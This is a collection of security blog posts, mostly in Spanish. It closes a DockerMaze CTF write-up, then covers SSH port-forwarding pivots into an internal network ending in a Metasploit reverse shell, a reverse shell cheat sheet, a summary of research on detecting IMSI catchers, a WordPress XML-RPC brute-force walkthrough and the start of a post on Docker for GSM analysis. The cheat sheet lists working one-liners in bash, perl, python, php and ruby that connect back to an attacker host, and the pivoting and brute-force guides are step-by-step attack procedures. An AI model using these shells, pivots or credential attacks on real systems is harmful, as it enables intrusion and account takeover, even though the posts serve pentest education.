walzen-1-aab IN TXT "ac8ccfafe184de033afdf13ddcdfd27b8b86989e82d1ffbca99290fbc4a115c2eba05323be80060a30eeaed3689385148aa56e37a6bb4a1bef0db5bd34dbf846"
walzen-1-aac IN TXT "eddd05480c7df9c6d0b69b591eb48f7f20175022f4577170ab7ea78e77b04c5d4e029dbf47fa3e8d49e3d83b4b816999ecb178f561081c292f2b6097544136f7"
walzen-1-aad IN TXT "18a46635e9b9f6d756753cf35f65e0aac1266c7c5ba25231e5e60bce0f2cb82432da675a09132d5e9acafc76a8110155b2c04d1ff2d5fe73cce8966a79286495"

But some of them were not consecutive, leading to a lot of unnecessary failed DNS requests. For example:

walzen-9 IN TXT "4"
walzen-9-aaa IN TXT "3a8a13373496029d73b8d44e23147e947f45d5fd8640073f2ff7953858bb5ce076cfbef68860d8986a7a8fc8ad26d9d3f8fc9fee0e56ed65b14cb0fe84acc724"
walzen-9-aab IN TXT "299cda0f3001505a3caf0b99e2c380f3b532161aa861b2f00675dfa4d08da0ea550dcc53f581692a5bd6d119744272fac0b7db8c6210ffbc8bc9a166bacd9305"
walzen-9-aac IN TXT "a76f638943aae11d925d680948e4672dd252ab54495fc2caf27cf45133b65e7d6ba6820a1225398e214b274dbd00596efbefe6229e18473b20c56de3c135153d"
walzen-9-rzd IN TXT "644fe5f18583ebf9c62e1e1f7bc4ecdd44b4ce70a5086c4ad7579a17a9413e3171bfde11790c877704a2a3e8b32891369bb946e9ae2b2c1bcbe797781c90dc03"

So what I did is to edit the “db.dockermaze” configuration file to make them all consecutive and updated the docker image.

docker cp ./modified-db.dockermaze porter:/etc/bind/db.dockermaze
docker commit porter redsadic/dockermaze-porter:v2
docker run -d -P --name porter redsadic/dockermaze-porter:v2

And when I ran the “escape x.x.x.x” command again… Voilà!

Trying to escape... Wait...
You put the key in the lock and... the door opens! 
Congratulations! You are out of the labyrinth! 
Send an email with the following info to big.ideas+DockerMaze@schibsted.com:
- IP used to escape
- The token 'XXXXXXXXXXXXXXXXXX'
- Short explanation about how you escaped

Wohoooo! challenge solved! :D

I would want to thank the Schibsted team because I really had a lot of fun with the challenge! Thank you guys! :D

And that’s all folks!

UPDATE 23/11/2015: some easter eggs from the challenge authors :

  • The hostnames are different kind of beers
  • The STOUT endpoint is /gate because it implements a XOR (a logic gate)
  • The IPA exposed port is :6060 or GOGO :D
  • The WEISSE (enigma) endpoint port is 1954, the year Alan Turing died
  • Also the endpoint /turing is in honor of him, due to his contribution breaking enigma
  • The DNS records where the rotors are stored are called “walzen-x-yyy”. Walzen means rotor in german
  • And…
    • STOUT is the kind of beer that nibble likes less, this is why he did it in python (as a good python hater he is)
    • IPA is one of his favorites beers, and he did it in go ;)
    • WEISSE is other kind of beer he loves, for this reason it is ruby!

PD: looks like the https://challenge.schibsted.com site is down now. Too late if you want to play the challenge now ;(

UPDATE 23/11/2015:

PD: the challenge is now available at http://challenge.schibsted.com. If you wanna play, go for it!!!

 

SSH – Port Forwarding

$
0
0

En este post se explicará como realizar port forwarding con ssh y se verá alguna de sus posibles aplicaciones.

Introducción

El protocolo ssh es comúnmente utilizado para acceder a un terminal/sistema remoto y poder ejecutar comandos de forma segura. Sin embargo, también es posible utilizar este protocolo para realizar port forwarding, es decir, reenviamiento de puertos mediante la creación de túneles ssh entre los extremos de la conexión.

Con este mecanismo es posible realizar evasiones de firewall o bloqueos de puertos, independientemente de que el emisor-receptor se encuentren en redes diferentes, siempre que haya la posibilidad de conectarse mediante SSH.

Escenario de demostración

Para realizar esta demo se han utilizado tres máquinas diferentes en dos redes, externa e interna:

  1. Kali Linux de nombre “Sheron” y IP 192.168.1.58, con un cliente SSH y cuyo rol es el de ser la máquina atacante. Se encuentra en la red externa.
  2. Kali Linux de nombre “Goku” y con dos direcciones IP: 192.168.1.46 y 192.168.2.136, con un servidor ssh y cuyo rol es el de router entre la red externa (192.168.1.XX) y la red interna (192.168.2.XX).
  3. Windows XP de nombre “Mutenroshi”, con IP 192.168.2.133, cuyo rol es ser, como no, la máquina víctima. Se encuentra en la red interna.

Este escenario intenta simular un ataque realizado desde Internet hacia el router de la víctima, y una vez el atacante tiene el control de dicho router mediante el uso de túneles ssh puede interaccionar con las máquinas de la red interna.

Nota: Únicamente el router tiene visibilidad de las dos redes, la máquina atacante no puede ver directamente la máquina víctima.

Parte I: Comunicaciones entre el atacante y el router

Local Port Forwarding entre la máquina atacante y el router

Los actores que participan son los siguientes:

  1. Atacante: Kali Linux con  IP 192.168.1.58 desde Internet
  2. Víctima: Router con IP 192.168.1.46 accesible desde Internet

Nota: En este escenario, el atacante ya ha conseguido previamente un usuario del router

El objetivo es conseguir que un servicio publicado del router sea redireccionado a la máquina atacante. En este caso concreto, se enviará el puerto remoto 80 del router al puerto local 8080 de la máquina atacante.

Para lograrlo, se ejecuta lo siguiente en el cliente ssh (192.168.1.58) :

ssh -N -f -L localhost:8080:localhost:80 nyanyi@192.168.1.46

La explicación de la instrucción es la siguiente:

  • N: No se ejecutan comandos remotos, únicamente se establece conexión.
  • f: Se envía ssh a background.
  • L: Como el servicio deseado esta siendo publicado por el servidor ssh en el router, no por el cliente ssh en la Kali atacante, se ha de realizar un Local Port Forwarding. El concepto sería que el cliente de ssh se “trae” localmente el servicio remoto publicado por el servidor ssh.
  • <puerto destino del cliente ssh>:<ip origen de la red interna del servidor ssh:puerto origen de la ip de la red interna del servidor ssh> <user@ip_servidor ssh>
  • <local port to listen>:<remote host>:<remote port> <gateway>

screen1

Remote Port Forwarding entre la máquina atacante y el router

Los actores que participan son los siguientes:

  1. Atacante: Kali Linux con  IP 192.168.1.58 desde Internet
  2. Víctima: Router con IP 192.168.1.46 accesible desde Internet

El objetivo es conseguir publicar un servicio local del cliente ssh (atacante) de forma remota en el servidor ssh (router). Se enviará el puerto local 80 de Kali Linux con  IP 192.168.1.58 al puerto remoto 8085 del router con IP 192.168.1.46.

Para lograrlo, se ejecuta lo siguiente en el cliente ssh (192.168.1.58):

ssh -N -f -R localhost:8085:localhost:80 nyanyi@192.168.1.46

La explicación de la instrucción es la siguiente:

  • R: En este caso, el servicio se está publicando en el cliente ssh (atacante), por lo tanto hay que “enviarlo” al servidor ssh (router), esto se realiza mediante un Remote Port Forwarding.
  • <puerto destino de la dirección ip del servidor ssh><ip origen de la red del atacante:puerto origen de la ip de la red del atacante> <user@ip_servidor ssh>
  • <remote port to bind>:<local host>:<local port> <gateway>

screen2

Truco

Para saber si hay que realizar Local o Remote port forwarding, un truco sencillo es “ubicar” el servicio que se desea redirigir. Si el servicio está publicado en el servidor ssh y se desea publicarlo en el cliente, entonces es Local, por el contrario, si el servicio se encuentra en el cliente ssh y se desea publicar en el servidor ssh, entonces será Remote.

Parte II: Atacando a la red interna – Servidor ssh como máquina puente

En este punto, el atacante (Kali Linux con  IP 192.168.1.58) quiere atacar a la máquina víctima Windows XP (IP 92.168.2.133) ubicada en la red interna y que no es visible desde el exterior. Para conseguir este hito el atacante utilizará el router ( que tiene un servidor ssh instalado) como máquina puente.

Local Port forwarding desde la máquina víctima a la máquina atacante 

El objetivo es conseguir redirigir (o para entendernos, capturar) el servicio RDP de la máquina Windows XP (interna) a la máquina atacante  (externa) mediante el servidor de ssh (router)  . En este caso concreto, se enviará el puerto 3389 de Windows XP (192.168.2.133) al puerto 9090 de máquina atacante (192.168.1.58) utilizando para ello el router (servidor de ssh), como máquina de salto.

Para lograrlo, se ejecuta lo siguiente en la máquina atacante:

 ssh -N -f -L localhost:9090:192.168.2.133:3389 nyanyi@192.168.1.46

La explicación de la instrucción es la siguiente:

  • L: Como el servicio deseado esta siendo publicado por una dirección IP de la red interna del servidor ssh y/o no es un servicio propio del cliente ssh, la máquina atacante realiza un Local Port Forwarding para “traerse” el servicio
  • <puerto destino del cliente ssh><ip origen del lado servidor ssh:puerto origen del lado servidor ssh> <user@ip_servidor ssh>

En este punto es importante remarcar que cuando se realiza un Local Port al cliente ssh, el puerto redirigido puede acceptar conexiones externas de otras máquinas. La instrucción sería:

ssh -N -f -L 0.0.0.0:port cliente:ip red interna:port_ip_red_interna user@server_ssh

screen3

Remote Port forwarding desde la máquina atacante a la máquina cliente sin usuario root del servidor ssh

En el apartado anterior se ha comentado la posibilidad de permitir conexiones entrantes a un servicio redirigido locamente al cliente ssh. Pero,por seguridad, no es posible permitir que el servidor ssh acepte conexiones entrantes a un servicio publicado mediante Remote Port forwarding… ¿Seguro que no es posible?

La respuesta a esta pregunta es que utilizando diferentes técnicas sí que es posible, pero es un poco más complicado que lo visto hasta ahora. Se puede realizar si el atacante es root del servidor ssh o utilizando dos túneles y/o el parámetro -g (bendito parámetro).

Aceptación de conexiones entrantes mediante dos túneles

El objetivo es conseguir publicar el servidor web de la máquina atacante en el servidor ssh (router) y que la máquina víctima de la red interna se pueda conectar.

En la máquina atacante (cliente ssh) se utiliza la siguiente instrucción:

ssh -R localhost:7894:localhost:80 nyanyi@192.168.1.46

screen5

 

Ahora, en el  ROUTER, se ejecuta la siguiente instrucción:

ssh -g -L 8282:localhost:7894 nyanyi@localhost

  • El parámetro g, extraído directamente del man de ssh: Allows remote hosts to connect to local forwarded ports.

screen7

Otra manera de hacerlo, inclusive sin el parámetro g es:

ssh  -L 0.0.0.0:8226:localhost:7894 nyanyi@localhost

screen6

Aceptación de conexiones entrantes siendo root del servidor ssh

En el caso que el atacante disponga del usuario root (o usuarios con privilegios sudo) puede modificar la configuración del servidor ssh para que acepte conexiones entrantes en puertos redirigidos de forma remota.

El fichero que se ha de modificar es: /etc/ssh/sshd_config y se ha de escribir la siguiente opción: GatewayPorts clientspecified

Luego: sudo /etc/init.d/ssh reload

Y finalmente, la instrucción que se ha de ejecutar desde el cliente ssh es:

ssh -R 0.0.0.0:8095:localhost:80 nyanyi@192.168.1.46

Nota: En este caso, con una sola instrucción ya sirve, en contraposición con el caso anterior, que se necesitan dos instrucciones. Eso si, se ha de ser root.

Comprobaciones de las conexiones

A continuación se listan varios comandos con “netstat” que se pueden utilizar para comprobar el estado de las conexiones realizadas:

  • netstat -punta
  • netstat -ltn

screen8Parte III: Caso Práctico – Atacando con Metasploit a la víctima

En este punto, el atacante dispone de lo siguiente:

1- Acceso a la maquina router con usuario “low privilege”.

2- Conoce que en la máquina Windows XP se está ejecutando un software vulnerable “WarFTP ver 1.65” en el puerto 21 y que hay un exploit en Metasploit.

screen10

3- Al no haber visibilidad entre la máquina atacante y la víctima (redes diferentes) se ha de utilizar la máquina router y su servidor de ssh para redirigir las comunicaciones.

Nota: Los puertos que se utilizan en este escenario (excepto el 21) son aleatorios.

Local Port Forwarding del puerto 21 de la máquina víctima a la máquina atacante

En la máquina atacante, se ejecuta la siguiente instrucción:

ssh -N -f -L 5668:192.168.2.133:21 nyanyi@192.168.1.46

En este momento, en  la máquina atacante está publicado en el puerto 5668 el puerto 21 (servicio War FTPD vulnerable) de la máquina Windows XP (víctima) utilizando el router como máquina de salto.

Remote Port Forwarding del puerto 2682 de la maquina atacante al servidor ssh

El atacante tiene diferentes opciones para realizar la conexión con el payload, como podría ser utilizar una máquina con una dirección pública o inclusive un payload de conexión directa (bind shell). Pero en esta demo se va a realizar mediante una reverse shell dado que se requiere una configuración más compleja.

Al utilizar Metasploit, es necesario redirigir un puerto de la máquina atacante en el servidor SSH para que el payload (meterpreter) realice la conexión a traves de una  reverse shell hacia este puerto.

En la máquina atacante se ejecuta la siguiente instrucción:

ssh -R 7895:localhost:2682 nyanyi@192.168.1.46

Y ahora es necesario configurar en el servidor ssh que se acepten conexiones remotas. Por lo tanto, en el servidor ssh se debe ejecutar alguna de las siguientes instrucciones:

ssh -g -L 2682:localhost:7895 nyanyi@localhost

ssh -L 0.0.0.0:2682:localhost:7895 nyanyi@localhost

screen11

Nota: Recordar que también es posible modificar la configuración del servidor ssh si se dispone del usuario root.

Configuración del ataque con Metasploit

La configuración del ataque con Metasploit se realiza de la siguiente manera:

screensho12

Donde:

  • RHOST: Se indica la dirección 0.0.0.0 ya que el exploit será lanzado contra la misma máquina cliente (atacante) ya que tiene redirigido el puerto de la máquina víctima.
  • RPORT: Se indica 5668 por que es el puerto que redirige al puerto 21 de la maquina víctima. En resumen, se lanzara el ataque a la misma máquina atacante por que mediante la redirección de puertos por ssh realmente el ataque alcanzará a la máquina víctima.
  • Atención: Metasploit y los túneles SSH suelen dar problemas.  Es más recomendable utilizar dynamic port forwarding ( SSH -D port) y las instrucciones “set Proxies socks4:0.0.0.0:port”
    y “set ReverseAllowProxy true”
     que no redireccionamientos con  -L o -R. En el caso de utilizar puertos remotos o locales, como en este ejercicio, no hay que utilizar NUNCA la dirección 127.0.0.1 en RHOST, ya que podría impedir el correcto funcionamiento del exploit/payload utilizado. Se puede substituir por la dirección 127.0.0.2 o semejantes, aunque lo mejor en estos casos, es utilizar la dirección 0.0.0.0
  • LHOST: Se indica la dirección IP del servidor ssh visible desde la red de la víctima.
  • LPORT: Se indica el puerto redirigido remotamente desde la máquina atacante al servidor ssh.
  • Mediante la configuración de LHOST y LPORT cuando se ejecute el payload, éste intentara conectarse al servidor SSH que a su vez, redirigirá las comunicaciones a la máquina atacante mediante los puertos SSH creados.

A continuación se muestra una imagen de como el ataque tiene éxito:

screensho14

Nota: Esta fuera del alcance de este post explicar conceptos de metasploit.

Simple Reverse Shell Cheat Sheet

$
0
0

El objetivo de este post es facilitar un pequeño listado de algunas maneras fáciles y simples de implementar una reverse shell, algo que tarde o temprano siempre se utiliza en un pentest.

Una reverse shell consiste en crear una conexión remota desde la máquina víctima hacia la máquina atacante, por ejemplo desde una máquina ubicada en una red interna hacia la máquina atacante en Internet, siendo una técnica muy útil para realizar la evasión de un firewall que bloquee las conexiones entrantes a la red interna pero no las conexiones salientes desde la red interna hacia el exterior.

La manera más simple de conseguir una reverse shell es ejecutar un simple netcat “nc -e”, sin embargo, según qué versión de nc haya instalada hay opciones que pueden no funcionar igual, en este caso, el parámetro  “-e”. Por ejemplo, en Kali funciona pero no así en Ubuntu. Para saber qué versión está instalada de “nc” ejecutar “nc -h”.

Para practicar con las reverse shells, en el cliente (máquina atacante, que recibirá la reverse shell) ejecutar el comando “nc -nlvp 8080” para crear una conexión “escuchando” y en el servidor (máquina victima, ordenador que enviará la shell hacia la máquina atacante) ejecutar la reverse shell específica que se desee probar.

En todos los casos, se ha de substituir la dirección IP “192.168.1.49” y el puerto 8080 por la dirección IP y el puerto de la máquina atacante.

Bash Reverse Shell

Mediante el uso de /dev/tcp

  • /bin/bash -i > /dev/tcp/192.168.1.49/8080 0<&1 2>&1

Mediante el uso named pipes

  • rm /tmp/blackpipe;mkfifo /tmp/blackpipe;cat /tmp/blackpipe|/bin/sh -i 2>&1|nc 192.168.1.49 8080 >/tmp/blackpipe
  • rm /tmp/blackpipe;mknod /tmp/blackpipe p && nc 192.168.1.49 8080 0</tmp/blackpipe |/bin/bash 1>/tmp/blackpipe

Mediante telnet

  • rm /tmp/blackpipe;mknod /tmp/blackpipe p && telnet 192.168.1.49 8080 0</tmp/blackpipe |/bin/bash 1>/tmp/blackpipe

Mediante el uso de descriptores

  • 0<&196;exec 196<>/dev/tcp/192.168.1.49/8080; sh <&196 >&196 2>&196
  • exec 5<>/dev/tcp/192.168.1.49/8080 cat

<&5 | while read line; do $line 2>&5 >&5; done

o bien:

cat <&5 | while read line; do $line 2>&5 >&5;

Perl Reverse Shell

  • perl -e ‘use Socket;$i=”192.168.1.49″;$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,”>&S”);open(STDOUT,”>&S”);open(STDERR,”>&S”);exec(“/bin/sh -i”);};’
  • perl -MIO -e ‘$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,”192.168.1.49:8080″);STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;’

Y si el sistema objetivo es Windows:

  • perl -MIO -e ‘$c=new IO::Socket::INET(PeerAddr,”192.168.1.49:8080″);STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;’

Python Reverse Shell

  • python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“192.168.1.49”,8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’

Php Reverse Shell

  • php -r ‘$sock=fsockopen(“192.168.1.49”,8080);exec(“/bin/sh -i <&3 >&3 2>&3”);’

Ruby Reverse Shell

  • ruby -rsocket -e’f=TCPSocket.open(“10.0.0.1”,1234).to_i;exec sprintf(“/bin/sh -i <&%d >&%d 2>&%d”,f,f,f)’
  • ruby -rsocket -e ‘exit if fork;c=TCPSocket.new(“192.168.1.49″,”8080″);while(cmd=c.gets);IO.popen(cmd,”r”){|io|c.print io.read}end’

Y si el sistema objetivo es Windows:

  • ruby -rsocket -e ‘c=TCPSocket.new(“attackerip”,”4444″);while(cmd=c.gets);IO.popen(cmd,”r”){|io|c.print io.read}end’

Más información

Indicar que todas las reverse shell descritas aquí han sido probadas con éxito en fecha 17 de Abril de 2016 con una distribución Kali como cliente y una distribución Ubuntu como servidor

Por último, se indican algunas de las fuentes más relevantes consultadas para la realización de este pequeño post:

  1. http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
  2. http://www.lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/
  3. http://bernardodamele.blogspot.com.es/2011/09/reverse-shells-one-liners.html
  4. https://linuxprograms.wordpress.com/2008/02/14/fifo-named-pipes-mkfifo-mknod/

Detección de IMSI catchers: también desde la red del operador

$
0
0

Hace aproximadamente un mes, investigadores de las empresas SBA Research y T-Mobile Austria publicaron un interesante white paper sobre la detección de IMSI catchers titulado “The Messenger Shoots Back: Network Operator Based IMSI Catcher Detection“.

El IMSI (International Mobile Subscriber Identity) es el identificador único que se utiliza para distinguir a los usuarios de redes móviles de forma inequívoca y, en la mayoría de estándares (GSM, UMTSLTE), se almacena en la tarjeta SIM (Subscriber Identity Module).

Los IMSI catchers es el nombre que reciben los dispositivos maliciosos utilizados para localizar usuarios móviles a través de su IMSI, aunque también se pueden configurar para realizar ataques man-in-the-middle y interceptar las comunicaciones de las víctimas.

El título del paper hace referencia a un cambio de paradigma a la hora de intentar detectar ataques realizados con estos dispositivos; en vez de plantear la detección desde la perspectiva del “cliente” (los dispositivos móviles), han estudiado la viabilidad de detectarlos desde las redes de los operadoras.

Aquí el resumen del paper:

An IMSI Catcher, also known as Stingray or rogue cell,
is a device that can be used to not only locate cellular phones, but
also to intercept communication content like phone calls, SMS or data
transmission unbeknown to the user. They are readily available as
commercial products as well as do-it-yourself projects running open-
source software, and are obtained and used by law enforcement agencies
and criminals alike. Multiple countermeasures have been proposed recently
to detect such devices from the user’s point of view, but they are limited
to the nearby vicinity of the user.
In this paper we are the first to present and discuss multiple detection
capabilities from the network operator’s point of view, and evaluate
them on a real-world cellular network in cooperation with an European
mobile network operator with over four million subscribers. Moreover, we
draw a comprehensive picture on current threats against mobile phone
devices and networks, including 2G, 3G and 4G IMSI Catchers and
present detection and mitigation strategies under the unique large-scale
circumstances of a real European carrier. One of the major challenges
from the operator’s point of view is that cellular networks were specifically
designed to reduce global signaling traffic and to manage as many
transactions regionally as possible. Hence, contrary to popular belief,
network operators by default do not have a global view or their network.
Our proposed solution can be readily added to existing network monitoring
infrastructures and includes among other things plausibility checks of
location update trails, monitoring of device-specific round trip times
and an offline detection scheme to detect cipher downgrade attacks, as
commonly used by commercial IMSI Catchers.

Tras la introducción, el paper detalla el funcionamiento de las redes móviles, cuyo diseño pensado para minimizar el tráfico de control (o señalizacion) no ayuda a la hora de poder centralizar la información sobre los usuarios ni, por lo tanto, detectar ataques realizados con IMSI catchers.

Tras esto, pasa a enumerar las principales capacidades de estos dispositivos:

  • Tracking: El objetivo básico de este modo es recoger los IMSIs (identificadores) de los usuarios.
  • Capturing: En este caso se realiza un man-in-the-middle de todas las comunicaciones móviles. Para ello, normalmente, se necesitará hacer downgrade a un estándar móvil roto a nivel criptográfico (2G básicamente) al dispositivo de la víctima, ya sea utilizando jamming o características de los propios estándares.
  • Passive monitoring: Aquí ya se ha identificado a la víctima y simplemente se monitoriza su ubicación y/o tráfico.

Para las pruebas han utilizado 22 modelos diferentes de terminales, observando su comportamiento después de recibir ataques típicos realizados por IMSI catchers. Con estos resultados y el acceso a datos reales de la red de T-Mobile Austria proporcionados por ellos mismos, han intentado implementar estrategias de detección que puedan ser aplicables a una red móvil real, siendo las conclusiones a nivel general:

  • Para los IMSI catchers que hacen tracking se han encontrado que es el ataque más difícil de detectar desde el punto de vista del operador, ya que apenas produce tráfico en la red legítima.
  • Para los que hacen capturing, en cambio, han encontrado métodos que podrían ser bastante fiables a la hora de detectar este tipo de ataques, como por ejemplo agrupar geográfica y temporalmente anomalías en el uso de los diferentes algoritmos de cifrado que permite GSM por parte de los terminales. Por ejemplo: si se detecta que a una hora determinada varios terminales localizados en la misma área fueron forzados a utilizar conexiones GSM cifradas con el algoritmo A5/1 (criptograficamente roto).

En cualquier caso, la detección se realizaría una vez finalizado el ataque y sería siempre complementaria a la que el usuario haya podido realizar desde su terminal.

Precisamente en la penúltima sección del paper se habla de algunos esfuerzos para detectar este tipo de amenazas desde el punto de vista del “cliente” que, aunque no del todo fiables, se han materializado en diversas implementaciones; estas son las que yo conozco:

  • CatcherCatcher: Primera prueba de concepto de la gente de SRLabs para la detección de IMSI catchers utilizando terminales con un Base Band Processor compatible con OsmocomBB. Estos son los comportamientos que analizan para detectar IMSI catchers.
  • SnoopSnitch: Segunda iteración de SRLabs, en forma de aplicación Android que necesita de permisos de Root y un terminal que utilice un Base Band Processor de Qualcomm. Sirve de base para la obtención de los datos de GSMmap y en el documento IMSI Catcher Score detallan la heurística que utilizan para detectar los IMSI Catchers.
  • Android IMSI-Catcher Detector: Esfuerzo de la comunidad para crear una solución compatible con cualquier terminal Android y que no requiera permisos de Root. Tiene unos objetivos muy ambiciosos pero aún está en estado Alpha. Su wiki contiene muchísima información sobre IMSI catchers y sobre cómo detectarlos.
  • IMSI-Catch Me If You Can: IMSI-Catcher-Catchers (Presentación): Presentado por la misma SBA Research hace un par de años. Incluye dos soluciones (código fuente):
    • mobile ICC: Aplicación Android que no necesita permisos de Root. Permite acceder a información sobre parámetros de las estaciones base, como por ejemplo: correlación geográfica, las capacidades anunciadas, etc… y otros datos, para intentar detectar IMSI catchers.
    • stationary ICC: Diseñado para funcionar sobre una RaspberryPi con un módem GSM Telit GT864 sin SIM. Permite detectar algunos comportamientos típicos de IMSI catchers escuchando los canales de broadcast (BCCH) y de control (CCCH) de las estaciones base.
  • FakeBTS: Proyecto de Pedro Cabrera que utiliza un enfoque similar al stationary ICC, pero usando terminales compatibles con OsmocomBB o SDRs. También permite realizar baselines de las BTS visibles.

En otro punto también se detallan otros ataques que se pueden realizar contra usuarios móviles de forma directa o conjuntamente con IMSI catchers :

  • Los basados en debilidades del protocolo de backbone SS7: consulta de IMSIs y recuperación de claves de cifrado de sesión.
  • Que afectan a la SIMs: clonado y rooting de las mismas.
  • Envío de SMSs sin autenticar (incluso en algunos terminales 3G).
  • Presidential alert messages son un tipo de mensajes de texto broadcast especiales que los terminales no pueden ignorar.
  • Obtención de la localización GPS por parte de la red móvil.
  • Obtención de la localización por triangulación por parte de la red móvil.

Las conclusiones finales, aunque demuestran que los IMSI catchers aún representan un gran problema para las actuales infraestructuras de telefonía móvil, dejan abierto un camino donde las operadoras, además de los usuarios, podrían llegar a detectar ataques realizados con estos dispositivos, aunque para que fuera realmente efectivo deberían realizarse algunos cambios en los sistemas de monitorización de sus redes.

Gran trabajo y investigación de SBA Research para tratar de mejorar la detección de unos dispositivos cuyo uso estaba, hasta hace unos años, reservado a fuerzas de seguridad y actores estatales pero que a día de hoy están al alcance de prácticamente cualquier atacante.

WordPress XMLRPC brute force attacks via BurpSuite

$
0
0

Hello to everyone, my name is Lara and this is my first post, I wish you will enjoy and it will be helpful.🙂

Nowadays brute force attacks are very common on the internet on servers and applications. Probably if you have a server online you are able to see this kind of attacks through your server logs. The most common attack surfaces are ssh service, web server or could be via authentication form on your web page (application based attack).

WordPress is a well-known CMS (Content Management System), brute force attacks against it are very common and usually attackers use the authentication form, however, is not the only way that the malicious guys can do it.

What is XML-RPC interface?

Definition
“It’s a specification and a set of implementations that allow software running on disparate operating systems, running in different environments to make procedure calls over the Internet.
It’s remote procedure calling using HTTP as the transport and XML as the encoding. XML-RPC is designed to be as simple as possible, while allowing complex data structures to be transmitted, processed and returned.”

XML-RPC functionality is turned on by default since WordPress 3.5, but not all the WordPress administrators know this functionality and this utility, because of this, they do not protect properly the XML-RPC interface.

Ok, then, the question is, why WordPress uses this interface?

Basically, WordPress uses this interface to post directly to your blog using weblog clients or email apps and for the pingback and trackback functionality.

There are a lot of plugins in WordPress that you can use to prevent brute force attacks through the login form, but to avoid this kind of attack through XML-RPC interface is a bit more complicated. To do so, you need to modify the .htaccess file and disable the XML-RPC interface (if you don’t want to use it).

In this article, I am going to cover how to perform brute force attacks against WordPress XML-RPC interface.

Brute force attack.

There are two types of brute force attack that we can do against XML-RPC interface.

Simple brute force attack : You can try in each request one user and one password
Amplification brute force attack available till version 3.5.1 of WordPress: You can try in each request more than one user and password.

The attack (Simple brute force attack )

To check if the XML-RPC interface is enabled in the WordPress you can use the following URL:

http://url/xmlrpc.php

If you can see this in your browser means that the xmlrpc.php interface is enabled.

selection_001

 

Next step we will check if is possible interact directly with the WordPress API. To do this we have to create a file to check if the WordPress accepts POST request.

vim hello.txt

Write the following XML code to the file:

<?xml version="1.0" encoding="iso-8859-1"?>
<methodCall>
   <methodName>demo.sayHello</methodName>
     <params>
        <param><value></value></param>
        <param><value></value></param>
     </params>
</methodCall>

 

The xmlrpc.php file needs the valid XML sent to it as a POST request. The easiest way to do this in Linux is to use CURL. The following command will send the XML contained within the ‘demo.sayHello.txt’ file as a POST request to the remote WordPress API:
curl –data @hello.txt  http://url/xmlrpc.php

The expected server response should look like the following:


<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
  <params>
      <param>
          <value>
              <string>Hello!</string>
          </value>
      </param>
  </params>
</methodResponse>

 

So far we checked that we are able to do API calls on the WordPress. We will use another API call to achieve our objective, get a valid user and password by doing a brute force attack.

The method that we will use is wp.getUsersBlogs.

Firstly we need to create a file with the valid XML code to call the API method.

vim getusers.txt

The file should contain this code

<?xml version="1.0" encoding="iso-8859-1"?>
<methodCall>
     <methodName>wp.getUsersBlogs</methodName>
        <params>
           <param><value>administrator</value></param>
           <param><value>admin</value></param>
       </params>
</methodCall>

 

Then we should call the method, to checked if the user and password are correct.

curl –data @getusers.txt http://url/xmlrpc.php

As we can see, as follow the API respond us with the result of the API call.

<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
   <fault>
      <value>
         <struct>
            <member>
                <name>faultCode</name>
                <value><int>403</int></value>
            </member>
            <member>
               <name>faultString</name>
               <value><string>Incorrect username or password.</string></value>
            </member>
         </struct>
     </value>
  </fault>
</methodResponse>

At this point, we know how to check if the credentials are valid trough XML-RPC interface, but in this way is a tedious task to do.

Our goal is to intercept the request in a web proxy, (we will use burp suite), and automate the task.

As we can see before to make the API call we use curl, if we want to automate the attack we should configure curl to send the request trough the web proxy.

curl –data @getusers.txt http://url/xmlrpc.php –proxy localhost:8080

With the previous command, we will send the request trough the web proxy, and we will be able to start our brute force attack.

selection_034

Intercept the request by burpsuite

 

At this point the next step is to send the request to the Intruder module in BurpSuite, this module will permit us to automate the attack.

We have to choose the parameters that we want to make the attack, in this case, we will put the focus, on the second parameter (the password).

003

Choose the position for the payload

 

Step forward we have to choose the payloads that we want to use, as you can see the picture we will use a password list.

After this, we only have to click the button “start attack”.

menu_004

Choose payloads file

 

Finally, we only need to cross our fingers and wait a little bit to see the results.

selection_006

Get the correct credentials

If you are lucky, you will get the credentials, and after this, you can access the system. Congratulations!

Leave your comments and your questions if you have any doubt! I’m will happy to help you.


Cuando las ballenas vuelan (episodio II) – Creando un entorno de análisis GSM usando Docker (parte 1)

$
0
0

Esta entrada surge inspirada por ésta otra de Fox Glove Security: When Whales Fly – Building a Wireless Pentest Environment using Docker donde se explica cómo utilizar contenedores Docker para hacer más fácil el uso de algunas herramientas de pentesting WiFi. En este caso lo que se ha querido “contenizar” son herramientas para analizar comunicaciones GSM.

Aunque en esa entrada hay un excelente resumen sobre contenedores, Docker, imágenes y la filosofía de trabajo, aquí rescatamos algunos aspectos importantes para los que no sepan de que va el tema:

  • A nivel usuario, Docker (o LXC) no deja de comportarse como una especie de hypervisor, aunque son conceptos diferentes. Una analogía que me ayudó a entender la diferencia en el aislamiento que proporcionan es: cuando se virtualiza con un hypervisor “clásico” las máquinas virtuales son como casa individuales; los contenedores, en cambio, se parecen más a los apartamentos de un mismo edificio (Containers are not VMs).
  • Docker es el motor sobre el que corren los contenedores y estos comparten recursos, a través del kernel, con el host y con los otros contenedores.
  • Docker permite ejecutar versiones específicas de aplicaciones sin la penalización de rendimiento que suponen las máquinas virtuales.
  • Las imágenes Docker serían el equivalente a los binarios tradicionales en los SO, a partir de ellas se pueden crear contenedores (el equivalente a los procesos en los SO tradicionales).
  • Los contenedores pueden ser efímeros o perdurar tanto como quiera el usuario.
  • Los contenedores se pueden ejecutar de forma interactiva o como servicios.

Toda la información sobre Docker puede encontrarse en su propia sección de documentación:

Software Defined Radio

Contenedor base

El primer paso ha sido crear un contenedor con las herramientas básicas para trabajar con SDRs (Software Defined Radio), como por ejemplo los basados en hardware RTL, y con soporte para ejecutar aplicaciones gráficas aceleradas por hardware. El motivo para crear este contenedor base es poder aprovecharlo a la hora de trabajar con aplicaciones para otros protocolos de radio.

